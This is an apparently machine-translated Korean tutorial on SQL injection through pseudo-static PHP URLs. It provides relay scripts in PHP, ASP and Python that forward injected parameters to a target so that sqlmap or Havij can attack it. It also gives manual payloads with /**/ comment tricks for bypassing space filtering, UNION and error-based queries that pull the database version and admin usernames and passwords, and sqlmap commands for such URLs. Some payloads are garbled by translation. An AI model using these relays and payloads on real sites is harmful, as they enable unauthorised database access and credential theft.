>  기사  >  백엔드 개발  >  PHP는 의사 정적 주입 예제를 공유합니다.

PHP는 의사 정적 주입 예제를 공유합니다.

小云云
小云云원래의
2018-01-30 14:20:202004검색

이 문서에서는 주로 PHP의 의사 정적 주입을 소개합니다. PHP의 일반적인 주입 상황을 예제 형식으로 요약하고 분석합니다. 또한 asp 및 Python의 관련 작업 코드도 함께 제공됩니다. 프로그램 보안이 필요한 친구들은 참고로 모두에게 도움이 되었으면 좋겠습니다.

One: Relay 주입 방법

1. http://www.xxx.com/news.php?id=1을 통해 pseudo-static을 만든 후, 이렇게
http://www가 됩니다. xxx .com/news.php/id/1.html

2. 테스트 단계:

삽입된 PHP 코드를 전송합니다. inject.php


<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3. 로컬 환경에서 PHP를 빌드한 다음 http를 방문하세요. ://127.0 .0.1/inject.php?id=1

Injection 취약점은 sqlmap이나 havj를 통해 실행될 수 있습니다.

부록 ASP 전송 코드:


<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

2. 수동 주입 방법

1. http://www.xxx.com/play/Diablo.html
http://www.xxx. com/down/html/?772.html

2. 테스트 주입:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play /Diablo'.html
http://www.xxx.com/play/Diablo'/**/그리고
/**/1='1 /*.html
http://www.xxx.com/play/Diablo '
/**/그리고
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/그리고/**/1=1/*. html은 정상
http://www.xxx.com/page/html/?56′/**/그리고/**/1=2/*.html은 틀림

3. 페이지에 차이가 있는지 확인하세요. .동일하다면 차이가 없습니다., 다른 존재 주입입니다.

4. Union 쿼리:

http://www.xxx.com/play/diablo' 및 1=2 Union 선택 1,2… frominformation_schema.columns 여기서 1='1.html
http://www. xxx.com/page/html/?56'/**/그리고/**/(SELECT/**/1/**/(선택하다/**/에서/**/count(*),concat(floor(rand(0) *2),(하위 문자열((select(version())),1,62)))a/**/그룹/**/a)b)=1/*.html

수동 주입 방법 (2)

http://www.xxx.net/news/html/?410.html
http://www. xxx.net/news/html/?410'union/**/1/**/(선택하다/**/concat(사용자,0x3a,비밀번호)/**/select/* */pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/에 의해/**/where'1'='1.html

참고:

의사 정적 주입은 URL

의 일반적인 GET 주입과 동일하지 않습니다. 일반 URL 가져오기로 주입된 %20, %23, + 등을 사용할 수 있지만 의사 정적은 작동하지 않으며 URL에 직접 전달되므로 /*를 사용합니다.*&* /limit/**&*&*&*&*&*/a)b/**&*/이 주석 기호는 공백을 나타냅니다.

3. SQLmap.Method

sqlmap에서 의사 정적 주입 지점이 있는 곳에 *
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http: //www.xxx .com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www. xxx.com/news /class/?103*.html”

4. python 스크립트 방법

코드:


from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

관련 권장 사항:

html의 의사 정적 추가 구현 방법 WordPress의 접미사

Pseudo-static이란 무엇입니까

PHP 의사 정적 구성 방법에 대한 자세한 설명

위 내용은 PHP는 의사 정적 주입 예제를 공유합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.